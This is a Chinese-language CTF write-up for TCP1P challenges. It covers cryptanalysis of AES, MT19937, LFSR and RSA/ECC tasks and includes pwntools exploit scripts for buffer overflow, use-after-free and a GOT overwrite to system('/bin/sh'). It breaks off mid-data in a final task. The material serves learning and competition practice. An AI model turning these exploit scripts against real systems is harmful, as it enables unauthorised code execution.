这是个AES爆破密钥的题,加密方法是先后用两个密钥加密。远程先给出加密后的flag,然后允许输入值并进行加密。
- from Crypto.Cipher import AES
- import random
- from Crypto.Util.Padding import pad
-
- a = b""
- b = b""
- FLAG = b"TCP1P{REDACTED}"
-
- def generateKey():
- global a, b
- a = (str(random.randint(0, 999999)).zfill(6)*4)[:16].encode()
- b = (str(random.randint(0, 999999)).zfill(6)*4)[:16].encode()
-
- def encrypt(plaintext, a, b):
- cipher = AES.new(a, mode=AES.MODE_ECB)
- ct = cipher.encrypt(pad(plaintext, 16))
- cipher = AES.new(b, mode=AES.MODE_ECB)
- ct = cipher.encrypt(ct)
- return ct.hex()
-
- def main():
- generateKey()
- print("Alice: My message", encrypt(FLAG, a, b))
- print("Alice: Now give me yours!")
- plain = input(">> ")
- print("Steve: ", encrypt(plain.encode(), a, b))
- print("Alice: Agree.")
-
-
- if __name__ == '__main__':
- main()
漏洞在于两个密钥都很小。不过同时爆破两个也不可能。所以用到中间人攻击。先用爆破密钥a生成字典,再反向爆破b在a的字典里查询。
- '''
- ┌──(kali㉿kali)-[~/ctf/lx/ezfmt]
- └─$ nc ctf.tcp1p.com 35257
- Alice: My message ad39b5f6d4071def39e5586024b4da6c82742ab83bcb772ddb39ffddaa5715e9d91982a06c343c9abb7350a30f54779e42e58d2d24de74e6c0e55329212c108427a1442d495a70647c92fed28c4f133c
- Alice: Now give me yours!
- >> 0000000000000000
- Steve: d170d66ff056f53944010a9b10e34b0585d521591b779f7cee054eae530682ff
- Alice: Agree.
- '''
-
- from Crypto.Cipher import AES
- import random
- from Crypto.Util.Padding import pad
-
- def encrypt(plaintext, a, b):
- cipher = AES.new(a, mode=AES.MODE_ECB)
- ct = cipher.encrypt(pad(plaintext, 16))
- cipher = AES.new(b, mode=AES.MODE_ECB)
- ct = cipher.encrypt(ct)
- return ct.hex()
-
- c = 'd170d66ff056f53944010a9b10e34b0585d521591b779f7cee054eae530682ff'[:32]
-
- cs = {}
- for a in range(1000000):
- a = (str(a).zfill(6)*4)[:16].encode()
- c1 = AES.new(a, mode=AES.MODE_ECB)
- cs[c1.encrypt(b'0'*16)] = a
-
- print(len(cs))
- for b in range(1000000):
- b = (str(b).zfill(6)*4)[:16].encode()
- c2 = AES.new(b, mode=AES.MODE_ECB)
- ct2 = c2.decrypt(bytes.fromhex(c))
- if ct2 in cs:
- print(cs[ct2],b)
-
- a,b = b'7447427447427447', b'4402124402124402'
-
- ct = bytes.fromhex('ad39b5f6d4071def39e5586024b4da6c82742ab83bcb772ddb39ffddaa5715e9d91982a06c343c9abb7350a30f54779e42e58d2d24de74e6c0e55329212c108427a1442d495a70647c92fed28c4f133c')
- def decrypt(plaintext, a, b):
- cipher = AES.new(b, mode=AES.MODE_ECB)
- ct = cipher.decrypt(pad(plaintext, 16))
- cipher = AES.new(a, mode=AES.MODE_ECB)
- ct = cipher.decrypt(ct)
- print(ct)
-
- decrypt(ct,a,b)
- #TCP1P{nothing_ever_lasts_forever_everybody_wants_to_rule_the_world}
第2个AES题,用随机生成的key和iv加密flag,然后将ct与key异或。最后给出iv和异或后的ct
- import os
- from pwn import xor
- from Crypto.Cipher import AES
- from Crypto.Util.Padding import pad, unpad
-
- key = os.urandom(16)
- iv = os.urandom(16)
- cipher = AES.new(key, AES.MODE_CBC, iv)
-
- pt = open("flag.txt", "rb").read()
- ct = pad(cipher.encrypt(pt), 16)
- ct = xor(ct, key)
- print(f"{iv = }")
- print(f"{ct = }")
这个漏洞在于pad,这个pad不是在加密前而是在加密后,当flag的长度恰好是16的倍数里最后一块会是:chr(16)*16,可以利用这个块异或密文可以得到key,从而进行解密
- iv = b'\xf5\x8e\x85ye\xc8j(%\xc4K\xc1g#\x86\x1a'
- ct = b'h\x08\xafmDV\xaa\xcd\xea\xe9C\xdd7/\x1fF\xe2?\xcb\xb0\x1d F\xcc\xe5\xa6\x9dTJ\\\xd1\x90\xac\xe0\x1c\x891}\x83*\x86\xee\xc4~\xa0\x18\xa8\x06\xea"{|\x0b\x92[\x9a[\x91\xc8\x19\xb7FK\x01\xb5\xf98\x80\x9bR)2\x84`\xb3E\t\xd5\xe5\xf0[\x83\xc6\x19\x82\r\x7f\xfaGF\xdb\xcb\xab\xd5~\x95\t\xdd\xb5E>F\xdd\xa9\xa6\x82\x86\xee"\x99\xd9\xcc\xaf\xce\xf0\'\xb3\xf4~\xcf\xdb\xc8\xbd3\x01\xd0,}]\xd5V\xd3?\xb0\xe7\xb4[4\x8a\xa2[\xa1TV\xd16\x1f\xbd"\xc8\xa2\\K\x16I%\xdaL\xc6\xfb\xb7f.\x98\xc3\xf4J\x1b\xe9TT\x83-\x98BO\xb4\x00~\xb5w\xcf7m\xa1\xea\xa9\xf6\xa6\xee\x00Y\xdfE\x9c7\xe3\xa3\xa2\x1f=.\x85\x08l\xacN\xfb2\x89\x8bB\x7f\x94\x91p\x10ep\x9b\x06oz\x87&U]J\x019\x12W\xce<\xc8\xa8\xb4v\xaf,\xb1n\x8b\xf5\xfe\xf8\r\xa7:r\xe8\xe0fvKN\\\xea\xe0\xa1\xe3\x99\xcc\xfd\x1a\x99Q\x90\xdf}\xae\xad'
-
- #ct为16的整数倍,pad(16) 尾部为\x10*16
- tail = ct[-16:]
- key = xor(tail, b'\x10')
-
- cipher = AES.new(key, AES.MODE_CBC, iv)
- flag = cipher.decrypt(xor(ct,key))
- #TCP1P{why_did_the_chicken_cross_the_road?To_ponder_the_meaning_of_life_on_the_other_side_only_to_realize_that_the_road_itself_was_an_arbitrary_construct_with_no_inherent_purpose_and_that_true_enlightenment_could_only_be_found_within_its_own_existence_1234}
这是个有python随机数预测题。远端有两个route,一个是把上传的文件与随机数异或,另一个是把flag图片与随机数异或。
- import os
- from flask import Flask, flash, request, redirect, render_template, send_file
- import io
- import random
- from Crypto.Util.number import long_to_bytes as l2b
-
- app=Flask(__name__, template_folder='./template')
-
- app.secret_key = "OFCOURSETHISISNOTHEREALSECRETKEYBOI"
- app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024
-
-
- ALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'])
-
-
- def allowed_file(filename):
- return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
-
-
- def xor(a, b):
- return b''.join([bytes([_a ^ _b]) for _a, _b in zip(a, b)])
-
- def encropt(buff):
- rand = random.getrandbits(len(buff)*8)
- return xor(buff, l2b(rand))
-
-
- @app.route('/', methods=['GET'])
- def upload_form():
- return render_template('./upload.html')
-
-
- @app.route('/', methods=['POST'])
- def upload_file():
- if request.method == 'POST':
- if 'file' not in request.files:
- flash('No file part')
- return redirect(request.url)
- file = request.files['file']
- if file.filename == '':
- flash('No file selected for uploading')
- return redirect(request.url)
- if file and allowed_file(file.filename):
- buff = io.BytesIO()
- buff.write(encropt(file.read()))
- buff.seek(0)
- return send_file(
- buff,
- mimetype="text/plain",
- as_attachment=True,
- download_name='lalalalululu')
- else:
- flash('Allowed file types are txt, pdf, png, jpg, jpeg, gif')
- return redirect(request.url)
-
- @app.route('/flago', methods=['GET'])
- def send_flago():
- flago = open('./flago/flago.jpg', 'rb')
- buff = io.BytesIO()
- buff.write(encropt(flago.read()))
- buff.seek(0)
- return send_file(
- buff,
- mimetype="text/plain",
- as_attachment=True,
- download_name='babababububu')
-
- if __name__ == "__main__":
- app.run(host = '0.0.0.0',port = 5000, debug = False)
两次只要相邻就可以,先生成个足够长的文件。624*32位,然后下载文件,用第1个文件生成取出随机数完成对第2个flag文件的恢复
- #open('a.txt','wb').write(b'\x00'*624*4)
-
- from pwn import xor
- from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
- from extend_mt19937_predictor import ExtendMT19937Predictor
-
- a = open('lalalalululu','rb').read()
- c = open('babababububu','rb').read()
- predictor = ExtendMT19937Predictor()
- #导入已知的624个数据,导入后指向尾部
- predictor.setrandbits(b2l(a), 624*32)
-
- def encropt(buff):
- rand = predictor.predict_getrandbits(len(buff)*8)
- return xor(buff, l2b(rand))
-
- m = encropt(c)
- open('flago.jpg', 'wb').write(m)
-
-
- #TCP1P{life's_twisted_like_a_back_road_in_the_country}
一个LFSR的题,有点变化。
有生成签名,验证签名和得到加密后的flag
- import os
-
- flag = open('flag.txt','r').read()
- assert flag.startswith('TCP1P{') and flag.endswith('}')
- flag = flag[6:-1]
- assert len(flag) == 32
-
- class Shiftgner:
- def __init__(self, mask):
- self.mask = int.from_bytes(mask, byteorder='big')
-
- def next(self):
- c = self.state & self.mask
- x = 0
- while c:
- x ^= c & 1
- c >>= 1
- self.state = ((self.state << 1) ^ x) & 2**256-1
- return x
-
- def sign(self, msg):
- self.state = msg
- op = self.next()
- for i in range(255):
- op <<= 1
- op ^= self.next()
- op ^= msg
- return hex(op)
-
- def verify(self, msg, sig):
- return self.sign(msg) == sig
-
- mask = os.urandom(32)
- signer = Shiftgner(mask)
-
- while True:
- print('1. Sign')
- print('2. Verify')
- print('3. Get Flag')
- print('4. Exit')
- op = int(input('> '))
- if op == 1:
- msg = int(input('Message (hex): '), 16)
- print('Signature:', signer.sign(msg))
- elif op == 2:
- msg = int(input('Message (hex): '), 16)
- sig = input('Signature: ')
- if signer.verify(msg, sig):
- print('OK')
- else:
- print('Invalid')
- elif op == 3:
- print(signer.sign(int.from_bytes(flag.encode(), byteorder='big')))
- elif op == 4:
- exit()
- else:
- print('Invalid')
由于lfsr没有给mask所以要先爆破mask
当输入一个只有第n的值时与mask异或,如果mask第n位为0则第1次next后结果为1,经过256次next后他移到第0位,所以通过判断第0位可以得到1位的mask
- class Shiftgner:
- def __init__(self, mask):
- self.mask = int.from_bytes(mask, byteorder='big')
-
- def next(self):
- c = self.state & self.mask
- x = 0
- while c:
- x ^= c & 1
- c >>= 1
- self.state = ((self.state << 1) ^ x) & 2**256-1
- return x
-
- def sign(self, msg):
- self.state = msg
- op = self.next()
- for i in range(255):
- op <<= 1
- op ^= self.next()
- op ^= msg
- return hex(op)
-
- def verify(self, msg, sig):
- return self.sign(msg) == sig
-
-
- def get_mask(idx):
- p.sendlineafter(b'> ', b'1')
- p.sendlineafter(b'Message (hex): ', hex(1<
2:].encode()) - p.recvuntil(b'Signature:')
- c = int(p.recvline(),16)
- bit = (c>>255)&1
- return bit
-
- def check_mask(msg,sig):
- p.sendlineafter(b'> ', b'2')
- p.sendlineafter(b'Message (hex): ', hex(msg)[2:].encode())
- p.sendlineafter(b'Signature: ', sig.encode())
- if b'OK' in p.recvline():
- return True
- else:
- return False
-
- #爆破mask
- from pwn import *
- from Crypto.Util.number import long_to_bytes,bytes_to_long
-
- p = remote('ctf.tcp1p.com', 13342)
-
- tmp_msg = 0x309c0b52a8b9120c17caea49009ade08bb656dcc1f7fc8ef0f8360e85b573fa6
-
- p.sendlineafter(b'> ', b'3')
- print(p.recvline())
-
- smask = ''
- for i in range(256):
- if get_mask(i):
- smask += '1'
- else:
- smask += '0'
-
- if i>253:
- context.log_level = 'debug'
- mask = long_to_bytes(int(smask[::-1],2))
- signer = Shiftgner(mask)
- tmp_enc = signer.sign(tmp_msg)
- if check_mask(tmp_msg, tmp_enc):
- break
-
- print(mask)
-
- p.interactive()
然后得到密文进行处理。根据LFRS构造简单的矩阵M,乘256次幂
问题来了,他给的不是直接得到的密文,是密文与明文异或的结果
state * M^256 = enc^^state
由于按位的异或在GF(2)上等同于加所以这里可以推一下,然后就可以用矩阵求左了。
state*M^256 = enc + state => sate*M^256 + state = enc => state *(M^256+I) = enc
- from Crypto.Util.number import bytes_to_long, long_to_bytes
- mask = b'\x02,#Vl\xad\xc6\xa0\xe1r\xb6\xf5\xe1\xc0<\x11\x86]\xb4N\xcd\xf4\xb9\xcf\xddW{,i\xa1-2'
- enc = 0xa5c0ce349da06456bea1d6cd58ae29fe497898dcc4c18a0960a4e0c2597abcf3
-
- #state * M^256 = c ; c = enc ^^ state
- #state * M^256 = enc + state => state*(M^256+I) = enc
- maskb = [int(i) for i in bin(bytes_to_long(mask))[2:].rjust(256, '0')]
- encb = [int(i) for i in bin(enc)[2:].rjust(256, '0')]
-
- encv = vector(GF(2), encb)
- M = matrix(GF(2), 256,256)
- for i in range(255):
- M[i+1,i] = 1
- for i in range(256):
- M[i,-1] = maskb[i]
-
- M256 = M^256
- for i in range(256):
- M256[i,i] += 1
-
- state = M256.solve_left(encb)
- ss = ''.join([str(i) for i in state])
- long_to_bytes(int(ss,2))
- #b'well_not_safe_enough_apparently!'
这是个小指数攻击题
route1给出pow(a,e,n),pow(b,e,n)并可以输入x得到椭圆曲线上的点P
route2给出随机数k和随机点P,需要输入k*P然后可以得到RSA加密后的flag
- from Crypto.Util.number import getPrime, bytes_to_long
- from sympy.ntheory.modular import crt
- from libnum.ecc import *
- import random
- import time
-
- while (p:=getPrime(256)) % 4 != 3: pass
- while (q:=getPrime(256)) % 4 != 3: pass
- e = 3
- n = p*q
- a = getPrime(256)
- b = getPrime(256)
- E = Curve(a, b, n)
- flag = bytes_to_long(open("flag.txt", "rb").read())
-
- def sqrt_mod(a):
- assert p % 4 == 3
- assert q % 4 == 3
- r = int(crt([p,q],[pow(a,(p+1)//4,p), pow(a,(q+1)//4,q)])[0])
- n = p*q
- if pow(r,2,n) == a % n:
- return r
- return False
-
- def lift_x(x):
- y = sqrt_mod(x**3 + a*x + b)
- if y:
- return (x, y)
- return False
-
-
- def find_coordinates(x):
- P = lift_x(x)
- if P:
- x,y = P
- return (pow(x,e,n), pow(y,e,n))
- return False
-
- def captcha():
- while True:
- x = random.randint(1, n)
- P = lift_x(x)
- if P : break
- k = random.randint(1,n)
- print("HOLD UP!!!!")
- print("YOU ARE ABOUT TO DO SOMETHING VERY CONFIDENTIAL")
- print("WE NEED TO MAKE SURE THAT YOU ARE NOT A ROBOT")
- print(f"Calculate {k} X {P}")
- ans = input("Answer: ")
- return ans == str(E.power(P,k))
-
-
- while True:
- print("1. Check out my cool curve")
- print("2. Get flag")
- print("3. Exit")
- choice = input(">> ")
-
- if choice == "1":
- print("This point is generated using the following parameter:")
- # encrypted because I don't want anyone to steal my cool curve >:(
- print(pow(a,e,n))
- print(pow(b,e,n))
- x = int(input("x: "))
- P = find_coordinates(x)
- if P:
- print(P)
- else:
- print("Not found :(")
-
- elif choice == "2":
- if captcha():
- print(pow(flag, e, n))
- else:
- print("GO AWAY!!!")
- exit()
- elif choice == "3":
- exit()
- else:
- print("??")
- exit()
第1步是得到几个点,通过多点通过groebner基求参,然后得到kP拿到pow(flag,e,n)
- from pwn import *
- #from sage.all import *
- from Crypto.Util.number import getPrime
-
- io = remote('ctf.tcp1p.com', 13341)
- context.log_level = 'debug'
-
- while True:
- io.sendlineafter(b">> ", b'1')
- io.recvline()
-
- a3 = int(io.recvline())
- b3 = int(io.recvline())
- x = getPrime(172)
- io.sendlineafter(b"x: ", str(x).encode())
- p1 = io.recvline()
- if b'Not found' not in p1:
- break
-
- x3,y3 = eval(p1)
-
- io.sendlineafter(b">> ", b'2')
- io.recvuntil(b"Calculate ")
- ks,ps = io.recvline().decode().split(' X ')
- k,ps = int(ks), eval(ps)
-
- print('a3 = ', a3)
- print('b3 = ', b3)
- print('x = ', x)
- print('x3 = ', x3)
- print('y3 = ', y3)
- print('k = ', ks)
- print('ps = ', ps)
- print('''
- f1 = y3**2 - (x**3 + a*x + b)**3
- f2 = a**3 - a3
- f3 = b**3 - b3
- F = [f1,f2,f3]
- ideal = Ideal(F)
- I = ideal.groebner_basis()
- print(I)
- # 求解参数a b n
- res=[x.constant_coefficient() for x in I]
- n = res[2]
- a = -res[0]%n
- b = -res[1]%n
- E=EllipticCurve(Zmod(n),[a,b])
- P = E(ps)
- vv = str((k*P).xy())
- print(vv)
- ''')
-
-
-
- vv = input('>> ')
- io.sendlineafter(b"Answer: ", vv.encode())
- print(io.recvline())
-
- io.interactive()
但是由于这里的n不能分解而且每个因子都是e的倍数,所以不能直接求d求解。
所以这里需要运行3次得到3组c,n然后通过crt再求解
- f3 = [10214848419600246831204411547539742193707813055567247375021038647290724315016659616660536702996500513761107565676235103712959560533312159280239704791794925,3396605071922311846139395452288997433024781942346189910790944052301893968430215014289904153958067122829261905886478214418519271429601284233135621257964618,761237673974641516291589885468522351425564157626437289615389611558679935803922321917991872667343987358442284415608440848211692141410743644819475163258241]
- n = [10827306454907668600102942320713698127633782031630218229451809487758431009675084908799293132704868105802645330911405420947841753386681060626958945819983153,5640375403375610044579756340430504833924414898126539274638537893039893254750588837263470550538549615353665314709455243822275945022123811639017611583317777,9581444265394380026197526005575551873068579451790843486976927778420460013670858606351862661812095383739259531098874637083082471478987773885695409384957361]
- from gmpy2 import iroot
- from Crypto.Util.number import long_to_bytes
- long_to_bytes(iroot(crt(f3,n),3)[0])
- #b'TCP1P{yet_another_ecrsa_challenge_smh_my_head}'
一共3个菜单,
1是更换因子可以选择更换p或q,
2是pow(p+q,e,n)或p-q或pow(p//q,e,n)或p%q
3得到pow(flag,e,n)
- from Crypto.Util.number import getPrime, bytes_to_long
-
- p = getPrime(1024)
- q = getPrime(512)
- n = p * q
- e = 65537
-
- FLAG = b"TCP1P{???????????????????????????????????????}"
-
- lock = False
- while True:
- print("1. Get new prime")
- print("2. Get leak")
- print("3. Get flag")
- print("4. Exit")
- print("> ", end="")
- try:
- choice = int(input())
- except:
- break
- if choice == 1:
- if lock:
- print("You can't do that anymore!")
- continue
- print("which prime? (p/q)")
- print("> ", end="")
- prime = input()
- if prime == "p":
- p = getPrime(1024)
- elif prime == "q":
- q = getPrime(512)
- else:
- print("What?")
- continue
- n = p * q
- lock = True
- elif choice == 2:
- print("choose leak p ? q (+-*/%)")
- print("> ", end="")
- leak = input()
- if leak == "+":
- print(f"p + q = {pow(p + q, e, n)}") # nuh uh
- elif leak == "-":
- print(f"{p - q = }")
- elif leak == "*":
- print(f"p * q = {pow(p * q, e, n)}") # nuh uh
- elif leak == "/":
- print(f"p // q = {pow(p // q, e, n)}") # nuh uh
- elif leak == "%":
- print(f"{p % q = }")
- else:
- print("What?")
- elif choice == 3:
- print(f"c = {pow(bytes_to_long(FLAG), e, n)}")
- lock = True
- elif choice == 4:
- break
- else:
- print("What?")
这里没有给n所以pow的项基本都没用只有p-q和p%q有用。通过两次更换p得到两组p-q,p%q
p1-q = a1;p2-q=a2; p1%q = b1; p2%q = b2
p1%q = b1 => (a1+q)%q = b1 => a1 - b1 = k1*q
同理 a2-b2 = k2*q所以有 gcd(a1-b1,a2-b2) == q
然后猜flag很小不够512位,直接用q求解。当然这时候如果大的话就用p-q得到p再用n求解
- a1 = 118706088974227518157101680027186674666863052281725325927297274164964302139731337841107407768851841545449624689187205116287815171368370612682872627416560148527259214298108640666822887975035465398738029963994364413364943599455933922801313625121544409844530893995801596056172346904433206927995247016759064476398
- a2 = 100351615317445702152777964069743649398316212344162267495671594615569055290986135868626263523806430759891170534637574207955408234730596945183415870186173043369109401951133898271038937899799483714916470998534146162842383074553370989509167955524749120524690247454745041141487860434030140627355547358367468053348
- b1 = 4314795467650780507560916399060478760618314523719619015061803791641365559151910235009915855099750842779686623768320324592460652847539030204752241436322958
- b2 = 4791644667072068328755322354434990455138080676548441050438770559180497990442392529487882111217227208028008732173855940070706695343457703400581487284992319
- '''
- p1-q = a1;p2-q=a2; p1%q = b1; p2%q = b2
- p1%q = b1 => (a1+q)%q = b1 => a1 - b1 = k1*q
- 同理 a2-b2 = k2*q
- '''
- q = gcd(a1-b1, a2-b2)
-
- c = 169440822506346087750225114526740311477268001776493344763509930657373781878796338949268854077207461627691471962438795049472698199268203515665176148463051816183812000048162656457151448248775507398267111109027802942220858089591755527835080399986885463364652988782541810022030642988075275702530345128326508123508315731510268333168893081158203576004922211336014214517310663167783741576232446051470012829653525376038196226299471633664465371322016508015683415653380689
- e = 65537
- m = pow(c, invert(e, q-1),q)
- long_to_bytes(m)
- #b"TCP1P{in_life's_abundance_a_fragment_suffices}"
在free的时候没有清指针,有UAF,当get_flag时会重用这些堆块,然后通过show得到flag
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- setup(argc, argv, envp);
- while ( 1 )
- {
- switch ( (unsigned int)menu() )
- {
- case 1u:
- create();
- break;
- case 2u:
- delete(); // UAF
- break;
- case 3u:
- view();
- break;
- case 4u:
- read_flag();
- break;
- case 5u:
- puts("[*] exiting...");
- exit(0);
- default:
- puts("[!] unknown choice");
- break;
- }
- }
- }
- add 1-5 112
- free 1-5
- read_flag
- show 1
- TCP1P{k4mu_m4kan_ap4_1ni_k0q_un1qu3_s3k4li_yh_k4kung_chef_0ma1good_r3cyle???}
这题给了原码
- #include
- #include
-
- char buff[20];
- int buff2;
-
- void setup(){
- setvbuf(stdin, buff, _IONBF, 0);
- setvbuf(stdout, buff, _IONBF, 0);
- setvbuf(stderr, buff, _IONBF, 0);
- }
-
- void flag_handler(){
- FILE *f = fopen("flag.txt","r");
- if (f == NULL) {
- printf("Cannot find flag.txt!");
- exit(0);
- }
- }
-
- void buffer(){
- buff2 = 0;
- printf("Can you get the exact value to print the flag?\n");
- printf("Input: ");
- fflush(stdout);
- gets(buff);
- if (buff2 > 5134160) {
- printf("Too high!\n\n");
- } else if (buff2 == 5134160){
- printf("Congrats, You got the right value!\n");
- system("cat flag.txt");
- } else {
- printf("Sad, too low! :(, maybe you can add *more* value 0_0\n\n");
- }
- printf("\nOutput : %s, Value : %d \n", buff, buff2);
- }
-
- int main(){
- flag_handler();
- setup();
- buffer();
- }
输入buff时覆盖到buff2得到flag
- from pwn import *
-
- #p = process('./pwn1')
- p = remote('ctf.tcp1p.com', 17027)
- context(arch='amd64', log_level='debug')
-
- p.sendlineafter(b"Input: ", b'A'*20 + p32(5134160))
-
- p.interactive()
- #TCP1P{ez_buff3r_0verflow_l0c4l_v4r1abl3_38763f0c86da16fe14e062cd054d71ca}
允许在输入一个地址然后给这个地址加一个值
- #include
- #include
- #include
- #include
-
- unsigned long safes[100] = {7955998170729676800};
- char *exit_message = "Have a nice day!";
-
- void init() {
- setvbuf(stdin, NULL, _IONBF, 0);
- setvbuf(stdout, NULL, _IONBF, 0);
- setvbuf(stderr, NULL, _IONBF, 0);
- }
-
- void deposit() {
- int index = 0;
- int amount = 0;
- puts("Enter the safe number you want to deposit in (0-100): ");
- scanf("%d", &index);
- puts("Enter the amount you want to deposit: ");
- scanf("%d", &amount);
- safes[index] += amount;
- }
-
- void login() {
- unsigned long age, input, password;
- char pet_name[5] = "\0\0\0\0\0";
- puts("Input your age: ");
- scanf("%lu", &age);
- if (age < 17) {
- puts("Sorry, this is not a place for kids");
- exit(0);
- }
- puts("Input your pet name: ");
- scanf("%5c", pet_name);
- srand(time(NULL) * (*(short *)pet_name * *(short *)(pet_name + 2) + age));
- password = rand();
- puts("Input your password: ");
- scanf("%lu", &input);
- if (input != password) {
- puts("Password Wrong!");
- exit(0);
- }
- }
-
- int main() {
- init();
- login();
- deposit();
- deposit();
- deposit();
- puts(exit_message);
- }
由于种子是0可以得到password然后将got[exit]改为system把msg改为/bin/sh
- from pwn import *
-
- #p = process('./unsafe')
- p = remote('ctf.tcp1p.com', 1477)
- context(arch='amd64', log_level='debug')
-
- #gdb.attach(p, "b*0x00005555555552bc\nc")
- # -17*1 + 17
- p.sendlineafter(b"Input your age: ", b'246')
- p.sendafter(b"Input your pet name: ", p64(0x1ff)[:4])
- p.sendlineafter(b"Input your password: ", str(0x6b8b4567).encode())
-
- #2 safe+8 /sh
- #100 exit_message: 2008->4064
- #-24 got.puts 6b00->d920
- p.sendlineafter(b"Enter the safe number you want to deposit in (0-100): ", b'1')
- p.sendlineafter(b"Enter the amount you want to deposit: \n", str(u32(b'/sh\x00')).encode())
-
- p.sendlineafter(b"Enter the safe number you want to deposit in (0-100): ", b'100')
- p.sendlineafter(b"Enter the amount you want to deposit: \n", str(0x205c).encode())
-
- p.sendlineafter(b"Enter the safe number you want to deposit in (0-100): ", b'-12')
- p.sendlineafter(b"Enter the amount you want to deposit: \n", str(-168416).encode())
-
- p.sendline(b'cat flag*')
- p.interactive()
是一个可以正常反编译的python pyc文件,反过来就是个xor加密
- a = '1101111100001010100101011100011010111000101110011010110011100111001101000000000000000000010000000011101100011110110101000110100001100011111110010010000000001111010001101010111011000011010001110110101101001011011011011101100111001111101001010010011001001101010111011100011110001100010100000100010110000110011100011001101000100101111000111000001101001011011110001111100110001101101111100100110011011001011111000001111100011100100110111000101000001110100000111010011110111101011011101100001011110111000011111111101001110110100100011111110011010110110110101010000001000011111010101111111111011001110110100110001011100100100000110010100000000111111111100010111101000011010010111100011100001010100101010010001100011111010110111111110101001010101011000110011010010110000001001110111100000110001010000010101001110000010000011101101111111000010011111000100001010010010111101010011100000100011101111010100010000010001011100010000000001110100111001101011001110100010000111010011000011010001001010000101100000100000101100110010100111001011111101110001110011010000011001100001110001100111010001001111110000111100011010001100100110111101111111000000111111111001010011010110000111001011010101101001101100110000101000111111011001110100110000011110101101001000001000110100000111001000111110010111110101000011110011000010011011111110101110101111000110110001011111111110101000110101000001110001111111100001000101000100100011110010101011010011110000011101010110011010011010000001111101100100100101001101110111100110111101010111010010100001011101101011111110001001010011001110000100011100100111000110011010110010010011010110010101000110101001110101010100101110111001101110110000000001101101000111000011000010000110100001001101111100111001001010100001011100101001100101110000111001010010100000110001110000011011100101001100101010011111110100010111100000101000110110010101010100000100110010111011101011011011001110111010001001100110110000011010010010000111110000110110010101100100010100110001010010000100001011001011001101010100100001001111110001101000010111101000010110000001010001101011111101100100111001000101110101100100001010101110100000110011110010011011000011001100111110011010100110100010001110101111000110101000111100100111100001000100001110001001000111000111001000111100010011101001010010101110100101111001100110000110100101100010000000101000101000111010111000101011001101010001101111010011111011110000111110001110011010010010111100010000110100100011010111000001011000111111111010010110111011000100110100110011111111000111000110011000101000110110001100000000001110000000110111101000011010010011001111010101001110110011100110111010110011101011101000011000000101000010011011111101001000011110110100000100111111000000010010110011011101110110101011100001010100011101101001101101100001000011110001010110001010001101100110101001001101011000000100011010100101110110111111110000000101101001010100001011001011010010000110010110111011000100011110010101000011110001111000101101010001101110101101011011111110100000001010000111100001111101111000111100011101010101010100101011100101001110010111000011010001010010101000110011000100111001001000000111110110111111101000000100111111101001110100110001110001011111011001101001011000111101000000000000101010110100000111100010111110011110011011000001011110010010000001001101101001111010000001010111111110101001000111000010111111001100110000000110111101000011001101111011110011110000001101001101000011100111001000101000110011101011000010110110110001101011000010011100001000111111110011000001000010111101000100010011001011110111011101100101000011101100011011010101000010110001001000100001110100110011101011011011011011101010010110110000011111001111100101100001110100000111011010111000110110011011110101110111011100110011001000111111111010001111100100101011111011010001101111110100110011000100110001001011111000111000011000000000111101011001010000110011101011100101101110110010001010001111100110100000111111111110111010100100000000101100011101111100001001010111000001001011011010001101010100100110100111011100101010010101001000100111001110110110101011000011011011110001111111000101010010111101101100010100110110111010010110000110100011000001100001000100011100110010100101101101000010001100101101100000001011011011101110110011000100001110010011000001101100001001010101101100000111101110000101101110110100010111101010111001001001010100100011101000010111111100101011111100101110111100001000001110101001101000000111101111100110011010100011100111111111000001110100111000001101001111111100001100000011111100110000110011011011111010111101010110111001100010010111010110010001010100001100010000000111101010100111111100100101000000110100100110001100101111001011001011111101011011100011111011000001001100110000111010110000100000000011001001000110010010110101111100001100011101101111110001010001010010100010100100110100000101111101010100101101101111011111111010000010101111011001100100110101100001101101110001001001010001010001000011110110101101111001000011110111101111100011001010010111100001111000100001101010000010001100000110000000001001001110011110111010001101000011011100101101000011001111001100100100110000011110100001111001011100111110000000110000000101110101011101010010111011000011011111000110000011010110111000001100001001011011011010100111101110101000001100000101111010001111100010000011100100100011101111110000000000010011101000000011010001100001100011011101100011001011110001111101000000100100100110001010001110001110011101000011010000000101000110110010011101001001010110111001110001101000011110100110101111001010001111011101111011111101011100001101100110111101110001001100000101111001010001100100100000100001100110010001111101011000010101001110001100011010101001000010010110001111001011101101011000010001111101001001101100110010101101100101001011100000000110000111001100100111110000010101011001101010101010100011110100111110101000110100110000110111010010111001001100010011001010010000011000010010011000101000010100000110011010010101000110011010001010101101110001010010101100001010101111001101111101110001101100101001011000000111011000000010001110100111110111101110111100101110110100110000011100100100011011001000110010010000010010111001010111000001010001011000111001100010101101000100000101000110111001000100110100101100011101010000010011101101001101010100010011011010000111100101010101001101010111010000101011001010100010110011111100101000000000001001111011101100111001001100001111001000000111001011000110001000111001010110101100000111000001100101010001100001010000011110011011001100010010110011011000011011101001101110110010111001010011011001000110011100010100111011001101010100111101111111001010010010100100000110001101011110011011101001001111100011111001100111101101100001000101100100101110010101101101001001000011001100011101110000110010101001111110011010010111010001110100101001110011110100011010111001111010010110100001011110110001100001100100010000111101000001101101000100110110110001001110011010100110110111001111101101111100110000011111110010000101001110111101011000001110100101101001011111100111110001110111110001000110100101000001110000001101100000100001000101010010000010100010100000110011100000111101111101100111100011110100111101011001011101110111111111011110000100000110001110011000010001001010011111010001000111111100101101001111100011011000010001101001010000111111000011101110000001000011110010000010110101001000001001111111011010110101100001100110010100000001010111100100001110100110110101111011000111011101000000110110110100100000110000101101111000101110101110100010001001100110010000011000100001111000111100000011110110001000111011110001100110000110111101011111101110110000111101110010000100011101010011101111001000011101101011110100000011001111000011010001111110100100110011111111111011000110101100111101101111000011001110100000111111000011101100111110001111010101001000111101100000101011000110111100100110000011100011111010100110101110001110100011101111011000000110101111000111000001110100100000001110000001010010101110111111010011110000100001010000000111111001111000000001111110000110011101000101110101101000111100110001010000101100011010100101100110101010001100111001011000100101101110010100011111110100100111100011100110000101100011111110100101110101100101100101000010001100010'
-
- FLAG = [90, 19, 95, 37, 58, 144, 131, 222, 253, 162, 107, 96, 98, 128, 30,
- 113, 192, 236, 135, 239, 80, 106, 215, 100, 110, 197, 64,
